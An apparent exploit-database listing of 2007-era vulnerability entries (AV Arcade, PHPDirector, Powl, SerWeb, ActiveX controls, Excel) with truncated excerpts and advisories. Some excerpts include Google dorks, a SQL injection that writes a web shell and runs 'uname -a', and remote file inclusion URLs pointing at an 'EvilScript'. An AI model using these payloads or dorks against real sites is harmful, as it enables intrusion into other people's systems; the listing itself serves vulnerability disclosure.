Incorrect authentication

It has been discovered that the extension ftpbrowser is doing incorrect authentication in some files, making it open for exploiting. Component Type: Third party extension. This extension is not part of the TYPO3 default installation Affected Versions: Version 0.1.2 and all versions below...

avarcade-admin.txt

AV Arcade 2.1b COOKIEavauserid Get Admin Rights Web: AV Arcade 2.1b Site : www.avscripts.net Dork : "Powered By AV Arcade" Author: Kw3rLn tehlostbyteatYaHoOd0tCom Romanian Security Team Ethical Hacking - hTTp://RSTZONE.nET Vurnerable code: admin/index.php: $sql = mysqlquery"SELECT FROM avausers...

AV Arcade 2.1b (view_page.php) Remote SQL Injection

AV Arcade 2.1b viewpage.php Remote SQL Injection Web: AV Arcade 2.1b Site : www.avscripts.net Dork : "Powered By AV Arcade" Author: Kw3rLn tehlostbyteatYaHoOd0tCom Romanian Security Team Ethical Hacking - hTTp://RSTZONE.nET Description: SQL injection in $id of includes/viewpage.php Exploit:...

PHPDirector <= 0.21 (videos.php id) Remote SQL Injection Vulnerability

No description provided by source. PHPDirector = 0.21 SQL injection/Upload SHELL Remote Vulnerabilities WEB APP: PHPDirector 0.21 SITE: http://www.phpdirector.co.uk/site/ DORK: "Powered by PHP Director" AUTHOR: Kw3rLn tehlostbyteatYaHoOd0tCom Romanian Security Team Ethical Hacking -...

phpdirector-sql.txt

PHPDirector ',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'pathfounded/shell.php'%20FROM%20ppconfig 3. http://www.site.com/shell.php?cmd=uname -a GREETZ: all memberz of RST and milw0rm //kw3rln http://rstzone.net...

CVE-2007-3484

Cross-site scripting XSS vulnerability in search.php in Google Custom Search Engine allows remote attackers to inject arbitrary web script or HTML via the q parameter. NOTE: this issue is disputed by the Google Security Team, who states that "Google does not provide the 'search.php' script...

Microsoft Excel 2000/2003 Sheet Name Vulnerability PoC

No description provided by source. Vuln Exposed by: ZhenHan.Liu Team: Ph4nt0m Security Team http://www.ph4nt0m.org Tested on: Full Patched Excel 2003 Sp2, CN http://www.milw0rm.com/sploits/06272007-2670.zip sebug.net...

[GOODFELLAS - VULN] hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write.

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write =================================================== Internal ID: VULWAR200706275. Introduction hpqxml.dll is a library included in the HP Photo Digital...

Microsoft Excel 20002003 - Sheet Name (PoC)

Microsoft Excel 20002003 - Sheet Name PoC Vuln Exposed by: ZhenHan.Liu Team: Ph4nt0m Security Team http://www.ph4nt0m.org Tested on: Full Patched Excel 2003 Sp2, CN https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/4121.zip 06272007-2670.zip milw0rm.com 2007-06-27...

HP Digital Imaging (hpqxml.dll 2.0.0.133) Arbitary Data Write Exploit

Exploit for unknown platform in category remote exploits ===================================================================== HP Digital Imaging hpqxml.dll 2.0.0.133 Arbitary Data Write Exploit ===================================================================== :. GOODFELLAS Security Research...

Microsoft Excel 2000/2003 - Sheet Name (PoC)

Vuln Exposed by: ZhenHan.Liu Team: Ph4nt0m Security Team http://www.ph4nt0m.org Tested on: Full Patched Excel 2003 Sp2, CN https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4121.zip 06272007-2670.zip milw0rm.com 2007-06-27...

Avaxswf.dll v.1.0.0.1 from Avax Vector ActiveX Arbitrary Data Write

Exploit for unknown platform in category remote exploits =================================================================== Avaxswf.dll v.1.0.0.1 from Avax Vector ActiveX Arbitrary Data Write =================================================================== :. GOODFELLAS Security Research TEAM...

[Full-disclosure] [GOODFELLAS - VULN] BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow ================================================================= Internal ID: VULWAR200706223 Introduction ------------ BarCodeAx.dll is a library...

[ MDKSA-2007:135 ] - Updated webmin packages fix XSS vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mandriva Linux Security Advisory MDKSA-2007:135 http://www.mandriva.com/security/ Package : webmin Date : June 23, 2007 Affected: 2007.0, 2007.1, Corporate 4.0 Problem Description: Multiple cross-site scripting XSS vulnerabilities were discovered in...

Powl 0.94 - htmledit.php Remote File Inclusion

Powl 0.94 - htmledit.php Remote File Inclusion !/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit Url: http://switch.dl.sourceforge.net/sourceforge/powl/powlontowiki-0.94.zip Exploit: http://site.com/path/plugins/widgets/htmledit/htmledit.php?POWLinstallPath=EvilScript: coded and f0und3d ...

BarCode ActiveX Control BarCodeAx.dll 4.9 Remote Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================= BarCode ActiveX Control BarCodeAx.dll 4.9 Remote Overflow Exploit ================================================================= :. GOODFELLAS Security Research TEAM .: :...

SerWeb 0.9.4 (load_lang.php) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl SerWeb 0.9.4- Remote FIle Inclusion This software, serweb, is a web interface for self-provisioning of users of SER SIP Server http://www.iptel.org/ser/ Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz Exploit:...

Powl 0.94 (htmledit.php) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ Powl 0.94 htmledit.php Remote File Inclusion Vulnerability ============================================================ !/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit...

Powl 0.94 - 'htmledit.php' Remote File Inclusion

!/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit Url: http://switch.dl.sourceforge.net/sourceforge/powl/powlontowiki-0.94.zip Exploit: http://site.com/path/plugins/widgets/htmledit/htmledit.php?POWLinstallPath=EvilScript: coded and f0und3d by kw3rln Romanian Security Team .:...

RKD Software BarCode ActiveX Control 'BarCodeAx.dll' 4.9 - Remote Overflow

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow ================================================================= Internal ID: VULWAR200706223 Introduction ------------ BarCodeAx.dll is a library...